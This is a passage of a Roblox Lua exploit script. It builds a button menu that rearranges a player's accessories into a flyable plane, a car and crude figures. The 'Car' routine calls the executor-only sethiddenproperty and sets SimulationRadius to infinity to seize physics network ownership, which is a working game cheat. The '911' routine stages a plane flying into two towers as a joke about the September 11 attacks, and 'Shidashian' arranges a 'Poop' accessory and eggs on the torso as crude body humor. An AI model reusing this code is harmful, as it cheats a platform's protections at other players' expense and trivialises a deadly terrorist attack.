		if math.abs(turnSpeed)>alphaDampening	 then
			turnSpeed= turnSpeed-((alphaDampening)*(math.abs(turnSpeed)/turnSpeed))
		else 
			turnSpeed = 0		
		end
		local leanAmount= -turnSpeed*(math.pi/6)/4
 
		if not forwards or back then
			CurrentSpeed = CurrentSpeed*.99			
		end		
 
		local xzAngle = math.atan2(Character.Torso.CFrame.lookVector.z,0, Character.Torso.CFrame.lookVector.x)
		TurnGyro.cframe=CFrame.Angles(leanAmount*direction.x,0,leanAmount*direction.z)
		if LastPosition then
			local npos = Vector3.new(Character.Torso.CFrame.p.x,0,Character.Torso.CFrame.p.z)
			--(npos-LastPosition).magnitude
			local myspeed =Vector3.new(FakeHandle.Velocity.X,0,FakeHandle.Velocity.Z).magnitude
			local velocityDifference = math.abs((myspeed - (thrustForce.velocity.magnitude)))
			if myspeed>3 and thrustForce.velocity.magnitude>3 and velocityDifference> .7*thrustForce.velocity.magnitude then
				print('stopping: '..myspeed.." : " .. thrustForce.velocity.magnitude)
				CurrentSpeed=CurrentSpeed*.9
			end
 
		end
		LastPosition = Vector3.new(Character.Torso.CFrame.p.x,0,Character.Torso.CFrame.p.z)
		wait(1/60)
	end
 
end
 
 
function onEquipped(nmouse)
	print('got to equipped')
	Spawn(function()
		if Equipped then
			return
		end
 
			Character=game.Players.LocalPlayer.Character
			local myTorso = WaitForChild(Character,'Torso')
			if not FakeHandle then
				FakeHandle = handle
			end
			handle.Transparency = 0
 
			CurrentSpeed=0
			turnSpeed=0
			print('got in if')
			mouse=game.Players.LocalPlayer:GetMouse()
			Equipped = true
 
			WaitForChild(Character,'Humanoid').PlatformStand = true
 
			if RotationForce then RotationForce:Destroy() end
			RotationForce = Instance.new('BodyAngularVelocity')
			RotationForce.maxTorque = Vector3.new(0, math.huge, 0)
			RotationForce.angularvelocity = Vector3.new(0, 0, 0)
			RotationForce.Parent = myTorso
 
			if thrustForce then thrustForce:Destroy() end
			thrustForce = Instance.new('BodyVelocity')
			thrustForce.maxForce = Vector3.new(math.huge,0,math.huge)
			thrustForce.velocity = Vector3.new(0,0,0)
			thrustForce.P = 100
			thrustForce.Parent = FakeHandle--myTorso
 
			if TurnGyro then TurnGyro:Destroy() end
			TurnGyro = Instance.new('BodyGyro')
			TurnGyro.maxTorque = Vector3.new(5000,0,5000)
			TurnGyro.P = 300
			TurnGyro.D=100
			TurnGyro.Parent = myTorso
 
			Spawn(ThrustUpdater)
			Spawn(function()
 
 
				myTorso.Anchored = true
				myTorso.CFrame = myTorso.CFrame+Vector3.new(0,3,0)
 
				if torsoWeld then torsoWeld:Destroy() end
				torsoWeld=Instance.new('Weld')
				torsoWeld.C0 = CFrame.Angles(0,0,0) + Vector3.new(0, -1.6, -0.7)
				torsoWeld.Part0 = myTorso
				torsoWeld.Part1 = lol
				torsoWeld.Parent = lol
				lol.CanCollide = true
 
				wait(.1)
				lol.CanCollide = true
				myTorso.Anchored = false
			end)
 
			if key_down_connect then
				key_down_connect:disconnect()
				key_up_connect:disconnect()
			end
			key_down_connect=mouse.KeyDown:connect(keyDownFunc)
			key_up_connect=mouse.KeyUp:connect(keyUpFunc)
 
			Character.Humanoid.WalkSpeed = 0
		--end
	end)
end
 
function keyUpFunc(key)	
	if key == nil then return end
	local key = key:lower()
	if key == "w" then
		forwards = false
	elseif key == "a" then
		left = false
	elseif key == "s" then
		back = false
	elseif key == "d" then
		right = false	
	end
end
local LastSpace = tick()
function keyDownFunc(key)	
	if key == nil then return end
	if inIntro then return end
	local key = key:lower()
	if key == "w" then
		forwards = true
		while forwards do
			CurrentSpeed = math.min(70,CurrentSpeed+(acceleration*(1/30)))
			wait(1/30)
		end
	elseif key == "a" then
		left = true
		while left do
			turnSpeed= math.min(5,turnSpeed+(turnAlpha))
			wait(1/30)
		end
	elseif key == "s" then
		back = true
		while back do
			if CurrentSpeed>0 then
				CurrentSpeed = math.max(-20,CurrentSpeed-(deceleration*2.8*(1/30)))
			else
				CurrentSpeed = math.max(-20,CurrentSpeed-(deceleration*(1/30)))
			end
			wait(1/30)
		end
	elseif key == "d" then
		right = true
 
		while right do
			turnSpeed= math.max(-5,turnSpeed-(turnAlpha))
			wait(1/30)
		end
	elseif key == ' ' then
		if tick()-LastSpace>1.9 then
			LastSpace = tick()
			local bforce = Instance.new('BodyForce')
			bforce.force = Vector3.new(0,10000,0)
			bforce.Parent = FakeHandle
			wait(.1)
			bforce:Destroy()
		end
		elseif key == "c" then
		game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
		game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 0
		elseif key == "x" then
		game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Humanoid
		game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
		end
	print( ("The '%s' key was pressed"):format(key) )
end
 
onEquipped()
end)
 
_911Plane.Name = "911 Plane"
_911Plane.Parent = Scripts
_911Plane.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
_911Plane.BorderColor3 = Color3.fromRGB(27, 42, 53)
_911Plane.BorderSizePixel = 0
_911Plane.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
_911Plane.Size = UDim2.new(0, 85, 0, 32)
_911Plane.Font = Enum.Font.SourceSansItalic
_911Plane.Text = "911 Plane"
_911Plane.TextColor3 = Color3.fromRGB(0, 0, 0)
_911Plane.TextSize = 30.000
_911Plane.TextWrapped = true
_911Plane.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character:FindFirstChild("Tech Buggies").Name = "a7"
game.Players.LocalPlayer.Character:FindFirstChild("Angelic Messenger Accessory").Name = "a8"
game.Players.LocalPlayer.Character:FindFirstChild("Feathery Angel Wings").Name = "a3"
game.Players.LocalPlayer.Character:FindFirstChild("MeshPartAccessory").Name = "a1"
game.Players.LocalPlayer.Character:FindFirstChild("MeshPartAccessory").Name = "a4"
game.Players.LocalPlayer.Character:FindFirstChild("MeshPartAccessory").Name = "a2"
game.Players.LocalPlayer.Character:FindFirstChild("Feathery Angel Wings").Name = "a5"
game.Players.LocalPlayer.Character:FindFirstChild("MeshPartAccessory").Name = "a6"
 
wait(1)
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
 
Character.Humanoid.HipHeight = 4
Character.Humanoid.WalkSpeed = 16
 
local Hats = {base   = Character:WaitForChild("a1"),
             base2   = Character:WaitForChild("a2"),
             wing   = Character:WaitForChild("a3"),
             wingtip = Character:WaitForChild("a4"),
             wing2   = Character:WaitForChild("a5"),
             wingtip2   = Character:WaitForChild("a6"),
             tail   = Character:WaitForChild("a7"),
             tailtip = Character:WaitForChild("a8"),
}
 
--Dont touch below
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 100
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = false
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
--Dont touch above
 
align(Hats.base.Handle, Character["Torso"])
align(Hats.base2.Handle, Character["Torso"])
align(Hats.wing.Handle, Character["Torso"])
align(Hats.wingtip.Handle, Character["Torso"])
align(Hats.wing2.Handle, Character["Torso"])
align(Hats.wingtip2.Handle, Character["Torso"])
align(Hats.tail.Handle, Character["Torso"])
align(Hats.tailtip.Handle, Character["Torso"])
 
Hats.base.Handle.Attachment.Rotation = Vector3.new(0,0,0) --Rotation for the hats
Hats.base2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
Hats.wing.Handle.Attachment.Rotation = Vector3.new(-90, -180, 0)
Hats.wingtip.Handle.Attachment.Rotation = Vector3.new(-25, 90, 0)
Hats.wing2.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
Hats.wingtip2.Handle.Attachment.Rotation = Vector3.new(25, 90, 0)
Hats.tail.Handle.Attachment.Rotation = Vector3.new(90, -90, 0)
Hats.tailtip.Handle.Attachment.Rotation = Vector3.new(-25, 0, 0)
 
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment4"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment5"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment6"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment7"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment8"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(-0, -0, -3) --Position of the hats
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(0, -0, 3)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-7.5, 0, 0)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-12.413, 1.032, 0)
Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(7.5, -0, -0)
Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(12.413, 1.032, 0)
Character:WaitForChild("Torso").Attachment7.Position = Vector3.new(0, 0, 10.5)
Character:WaitForChild("Torso").Attachment8.Position = Vector3.new(0, 1.099, 15.226)
 
repeat wait() 
	until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Head") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
local mouse = game.Players.LocalPlayer:GetMouse() 
repeat wait() until mouse
local plr = game.Players.LocalPlayer 
local torso = plr.Character.Head 
local flying = false
local deb = true 
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
local maxspeed = 1000 
local speed = 5000 
 
function Fly() 
local bg = Instance.new("BodyGyro", torso) 
bg.P = 9e4 
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
bg.cframe = torso.CFrame 
local bv = Instance.new("BodyVelocity", torso) 
bv.velocity = Vector3.new(0,0.1,0) 
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
repeat wait() 
plr.Character.Humanoid.PlatformStand = true 
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
speed = speed+.5+(speed/maxspeed) 
if speed > maxspeed then 
speed = maxspeed 
end 
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
speed = speed-2 
if speed < 0 then 
speed = 0 
end 
end 
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
else 
bv.velocity = Vector3.new(0,0.1,0) 
end 
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
until not flying 
ctrl = {f = 0, b = 0, l = 0, r = 0} 
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
speed = 0 
bg:Destroy() 
bv:Destroy() 
plr.Character.Humanoid.PlatformStand = false 
end 
mouse.KeyDown:connect(function(key) 
if key:lower() == "e" then 
if flying then flying = false 
else 
flying = true 
Fly() 
end 
elseif key:lower() == "w" then 
ctrl.f = 1 
elseif key:lower() == "s" then 
ctrl.b = -1 
elseif key:lower() == "a" then 
ctrl.l = -1 
elseif key:lower() == "d" then 
ctrl.r = 1 
end 
end) 
mouse.KeyUp:connect(function(key) 
if key:lower() == "w" then 
ctrl.f = 0 
elseif key:lower() == "s" then 
ctrl.b = 0 
elseif key:lower() == "a" then 
ctrl.l = 0 
elseif key:lower() == "d" then 
ctrl.r = 0 
end 
end)
Fly()
end)
 
_911.Name = "911"
_911.Parent = Scripts
_911.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
_911.BorderColor3 = Color3.fromRGB(27, 42, 53)
_911.BorderSizePixel = 0
_911.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
_911.Size = UDim2.new(0, 85, 0, 32)
_911.Font = Enum.Font.SourceSansItalic
_911.Text = "911"
_911.TextColor3 = Color3.fromRGB(0, 0, 0)
_911.TextSize = 30.000
_911.TextWrapped = true
_911.MouseButton1Down:connect(function()
 
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local mov = {};
local mov2 = {};
Character.Torso.Anchored = true
 
local pl = "Plane"
local x = 11.086 
local y = 3.399  
local z = -9.105 
 
local Hats = {tower = Character:WaitForChild("Kate Hair"),
             tower2  = Character:WaitForChild("Pal Hair"),
             tower3 = Character:WaitForChild("Bedhead"),
             tower4  = Character:WaitForChild("Hat1"),
             tower5  = Character:WaitForChild("LavanderHair"),
             tower6  = Character:WaitForChild("No Speak Monkey"),
}
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 5
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = false
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
align(Hats.tower.Handle, Character["Torso"])
align(Hats.tower2.Handle, Character["Torso"])
align(Hats.tower3.Handle, Character["Torso"])
align(Hats.tower4.Handle, Character["Torso"])
align(Hats.tower5.Handle, Character["Torso"])
align(Hats.tower6.Handle, Character["Torso"])
 
Hats.tower.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.tower2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.tower3.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.tower4.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.tower5.Handle.Attachment.Rotation = Vector3.new(90,0,0)
Hats.tower6.Handle.Attachment.Rotation = Vector3.new(90,0,0)
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment4"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment5"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment6"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(2, -2.417, -5)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(2, -0.45, -5)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(2, 1.55, -5)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-2, -2.417, -5)
Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-2, -0.45, -5)
Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-2, 1.55, -5)
 
Character:WaitForChild(pl).Handle.AccessoryWeld:Remove()
local alignpos = Instance.new("AlignPosition", Character)
local alignorien = Instance.new("AlignOrientation", Character)
local att1 = Instance.new("Attachment", Character:WaitForChild(pl).Handle)
local att2 = Instance.new("Attachment", Character:WaitForChild("Head"))
alignpos.Attachment0 = att1
alignpos.Attachment1 = att2
alignpos.RigidityEnabled = false
alignpos.ReactionForceEnabled = false
alignpos.ApplyAtCenterOfMass = true
alignpos.MaxForce = 99999999
alignpos.MaxVelocity = math.huge
alignpos.Responsiveness = 0.1
alignorien.Attachment0 = att1
alignorien.Attachment1 = att2
alignorien.ReactionTorqueEnabled = false
alignorien.PrimaryAxisOnly = false
alignorien.MaxTorque = 99999999
alignorien.MaxAngularVelocity = math.huge
alignorien.Responsiveness = 50
att2.Position = Vector3.new(x,y,z)
att2.Rotation = Vector3.new(-13.09, 68.31, 14.79)
 
wait(3)
 
att2.Position = Vector3.new(2.5, 0, -5.483)
 
wait(2.5)
 
att2.Position = Vector3.new(2.5, -6, -5.483)
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-2, -2.417, -5)
Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-2, -0.45, -5)
Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-2, 1.55, -5)
 
wait(2)
att2.Position = Vector3.new(-6.493, -6, -15.772)
att2.Rotation = Vector3.new(-6.71, 158.68, 13.5)
 
wait(1.5)
att2.Position = Vector3.new(-6.493, 2.729, -15.772)
 
wait(2)
att2.Position = Vector3.new(-2.288, -0.5, -5.596)
 
wait(2.5)
att2.Position = Vector3.new(-2.288, -6, -5.596)
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(2, -5, -5)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(-2, -5, -5)
Character:WaitForChild("Torso").Attachment5.Position = Vector3.new(-2, -5, -5)
Character:WaitForChild("Torso").Attachment6.Position = Vector3.new(-2, -5, -5)
wait(2)
local pcframe = Player.Character:FindFirstChild("HumanoidRootPart").CFrame
Player.Character:BreakJoints()
 
local added
added = Player.CharacterAdded:Connect(function(Character)
Character:WaitForChild("HumanoidRootPart")
 
Character.HumanoidRootPart.CFrame = pcframe + Vector3.new(0,.8,0)
added:Disconnect()
end)
end)
 
Car.Name = "Car"
Car.Parent = Scripts
Car.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Car.BorderColor3 = Color3.fromRGB(27, 42, 53)
Car.BorderSizePixel = 0
Car.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Car.Size = UDim2.new(0, 85, 0, 32)
Car.Font = Enum.Font.SourceSansItalic
Car.Text = "Car"
Car.TextColor3 = Color3.fromRGB(0, 0, 0)
Car.TextSize = 30.000
Car.TextWrapped = true
Car.MouseButton1Down:connect(function()
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while true do game:GetService("RunService").RenderStepped:Wait()
game:GetService("Players").LocalPlayer.ReplicationFocus = workspace
game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge*math.huge) end end)
coroutine.resume(NetworkAccess)
 
plr = game.Players.LocalPlayer
char = plr.Character
torso = char.Torso
char["Left Leg"]:Remove()
char["Right Leg"]:Remove()
char.Humanoid.WalkSpeed = 75
char.Humanoid.HipHeight = 0.8
 
function Align(Part1,Part0,Position,Angle,name) 
local AlignPos = Instance.new("AlignPosition", Part1)
AlignPos.Parent.CanCollide = false
AlignPos.ApplyAtCenterOfMass = true
AlignPos.MaxForce = 67752
AlignPos.MaxVelocity = math.huge/9e110
AlignPos.ReactionForceEnabled = false
AlignPos.Responsiveness = 200
AlignPos.RigidityEnabled = false
local AlignOrient = Instance.new("AlignOrientation", Part1)
AlignOrient.MaxAngularVelocity = math.huge/9e110
AlignOrient.MaxTorque = 67752
AlignOrient.PrimaryAxisOnly = false
AlignOrient.ReactionTorqueEnabled = false
AlignOrient.Responsiveness = 200
AlignOrient.RigidityEnabled = false
local AttachmentA=Instance.new("Attachment",Part1)
local AttachmentB=Instance.new("Attachment",Part0)
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AttachmentB.Name = name
AlignPos.Attachment0 = AttachmentA
AlignPos.Attachment1 = AttachmentB
AlignOrient.Attachment0 = AttachmentA
AlignOrient.Attachment1 = AttachmentB
end 
 
car = char["MeshPartAccessory"]
chandle = car.Handle
chandle.AccessoryWeld:Destroy()
 
fire = char["FireMohawk"]
fhandle = fire.Handle
fhandle.AccessoryWeld:Destroy()
fhandle.Mesh:Destroy()
 
     h = Instance.new("Attachment",chandle)
     h.Rotation = Vector3.new(0,0,0)
     h.Position = Vector3.new(0,0,0)
 
     lg = Instance.new("Attachment",torso)
     lg.Rotation = Vector3.new(0,0,0)
     lg.Position = Vector3.new(0, -0.767, -0.942)
 
     gap = Instance.new("AlignPosition",chandle)
     gap.Attachment0 = h
     gap.Attachment1 = lg
     gap.RigidityEnabled = true
 
     gao = Instance.new("AlignOrientation",chandle)
     gao.Attachment0 = h
     gao.Attachment1 = lg
     gao.RigidityEnabled = true
 
     a = Instance.new("Attachment",fhandle)
     a.Rotation = Vector3.new(0,0,0)
     a.Position = Vector3.new(0,0,0)
 
     a1 = Instance.new("Attachment",torso)
     a1.Rotation = Vector3.new(90, 0, 0)
     a1.Position = Vector3.new(0, -0.974, 0.975)
 
     a2 = Instance.new("AlignPosition",fhandle)
     a2.Attachment0 = a
     a2.Attachment1 = a1
     a2.RigidityEnabled = true
 
     a3 = Instance.new("AlignOrientation",fhandle)
     a3.Attachment0 = a
     a3.Attachment1 = a1
     a3.RigidityEnabled = true
 
game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Destroy()
game.Players.LocalPlayer.Character["Right Arm"].RightShoulderAttachment:Destroy()
game.Players.LocalPlayer.Character["Right Arm"].RightGripAttachment:Destroy()
game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Destroy()
game.Players.LocalPlayer.Character["Left Arm"].LeftShoulderAttachment:Destroy()
game.Players.LocalPlayer.Character["Left Arm"].LeftGripAttachment:Destroy()
Align(game.Players.LocalPlayer.Character["Left Arm"],game.Players.LocalPlayer.Character.Torso,Vector3.new(-1.243, 0.195, -0.793),Vector3.new(74.51, 0, 8.28),"Left")
Align(game.Players.LocalPlayer.Character["Right Arm"],game.Players.LocalPlayer.Character.Torso,Vector3.new(1.243, 0.195, -0.793),Vector3.new(74.51, 0, -8.28),"Right")
end)
 
Shidashian.Name = "Shidashian"
Shidashian.Parent = Scripts
Shidashian.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Shidashian.BorderColor3 = Color3.fromRGB(27, 42, 53)
Shidashian.BorderSizePixel = 0
Shidashian.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Shidashian.Size = UDim2.new(0, 85, 0, 32)
Shidashian.Font = Enum.Font.SourceSansItalic
Shidashian.Text = "Shidashian"
Shidashian.TextColor3 = Color3.fromRGB(0, 0, 0)
Shidashian.TextSize = 25.000
Shidashian.TextWrapped = true
Shidashian.MouseButton1Down:connect(function()
local unanchoredparts = {}
local movers = {}
 local tog = true
 local move = false
local Player = game:GetService("Players").LocalPlayer
local Character = Player.Character
local tor = Character.Torso
local mov = {};
local mov2 = {};
 
local poop = "Poop"
local x = 0
local y = -1.086
local z = 0.808
 
pom = Character["Pink Pom poms"]
phandle = pom.Handle
phandle.AccessoryWeld:Destroy()
 
local Hats = {but1   = Character:WaitForChild("NoxiousEgg"),
             but2   = Character:WaitForChild("SFOTHEgg"),
             but3   = Character:WaitForChild("UglyEgg"),
             but4   = Character:WaitForChild("StarryEgg"),
}
 
for i,v in next, Hats do
v.Handle.AccessoryWeld:Remove()
for _,mesh in next, v:GetDescendants() do
if mesh:IsA("Mesh") or mesh:IsA("SpecialMesh") then
mesh:Remove()
end
end
end
 
function ftp(str)
    local pt = {};
    if str ~= 'me' and str ~= 'random' then
        for i, v in pairs(game.Players:GetPlayers()) do
            if v.Name:lower():find(str:lower()) then
                table.insert(pt, v);
            end
        end
    elseif str == 'me' then
        table.insert(pt, plr);
	elseif str == 'random' then
		table.insert(pt, game.Players:GetPlayers()[math.random(1, #game.Players:GetPlayers())]);
    end
    return pt;
end
 
local function align(i,v)
local att0 = Instance.new("Attachment", i)
att0.Position = Vector3.new(0,0,0)
local att1 = Instance.new("Attachment", v)
att1.Position = Vector3.new(0,0,0)
local AP = Instance.new("AlignPosition", i)
AP.Attachment0 = att0
AP.Attachment1 = att1
AP.RigidityEnabled = false
AP.ReactionForceEnabled = false
AP.ApplyAtCenterOfMass = true
AP.MaxForce = 9999999
AP.MaxVelocity = math.huge
AP.Responsiveness = 65
local AO = Instance.new("AlignOrientation", i)
AO.Attachment0 = att0
AO.Attachment1 = att1
AO.ReactionTorqueEnabled = true
AO.PrimaryAxisOnly = false
AO.MaxTorque = 9999999
AO.MaxAngularVelocity = math.huge
AO.Responsiveness = 50
end
 
align(Hats.but1.Handle, Character["Torso"])
align(Hats.but2.Handle, Character["Torso"])
align(Hats.but3.Handle, Character["Torso"])
align(Hats.but4.Handle, Character["Torso"])
 
Hats.but1.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.but2.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.but3.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
Hats.but4.Handle.Attachment.Rotation = Vector3.new(0, 0, 0)
 
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment1"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment2"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment3"
Character:WaitForChild("Torso"):FindFirstChild("Attachment").Name = "Attachment4"
 
Character:WaitForChild("Torso").Attachment1.Position = Vector3.new(0.527, 0.142, -0.595)
Character:WaitForChild("Torso").Attachment2.Position = Vector3.new(-0.527, 0.142, -0.595)
Character:WaitForChild("Torso").Attachment3.Position = Vector3.new(-0.527, -1.161, 0.57)
Character:WaitForChild("Torso").Attachment4.Position = Vector3.new(0.527, -1.161, 0.57)
 
     h = Instance.new("Attachment",phandle)
     h.Rotation = Vector3.new(0, 0, 0)
     h.Position = Vector3.new(0, 0, 0)
 
     lg = Instance.new("Attachment",tor)
     lg.Rotation = Vector3.new(0, 0, 0)
     lg.Position = Vector3.new(0, 0, -1.386)
 
     gap = Instance.new("AlignPosition",phandle)
     gap.Attachment0 = h
     gap.Attachment1 = lg
     gap.RigidityEnabled = true
 
     gao = Instance.new("AlignOrientation",phandle)
     gao.Attachment0 = h
     gao.Attachment1 = lg
     gao.RigidityEnabled = true
 
Character:WaitForChild(poop).Handle.AccessoryWeld:Remove()
local alignpos = Instance.new("AlignPosition", Character)
local alignorien = Instance.new("AlignOrientation", Character)
local att1 = Instance.new("Attachment", Character:WaitForChild(poop).Handle)
local att2 = Instance.new("Attachment", Character:WaitForChild("Torso"))
alignpos.Attachment0 = att1
alignpos.Attachment1 = att2
alignpos.RigidityEnabled = false
alignpos.ReactionForceEnabled = false
alignpos.ApplyAtCenterOfMass = true
alignpos.MaxForce = 99999999
alignpos.MaxVelocity = math.huge
alignpos.Responsiveness = 50
alignorien.Attachment0 = att1
alignorien.Attachment1 = att2
alignorien.ReactionTorqueEnabled = false
alignorien.PrimaryAxisOnly = false
alignorien.MaxTorque = 99999999
alignorien.MaxAngularVelocity = math.huge
alignorien.Responsiveness = 50
att2.Position = Vector3.new(x,y,z)
att2.Rotation = Vector3.new(-72.25, 180, 180)
 
 
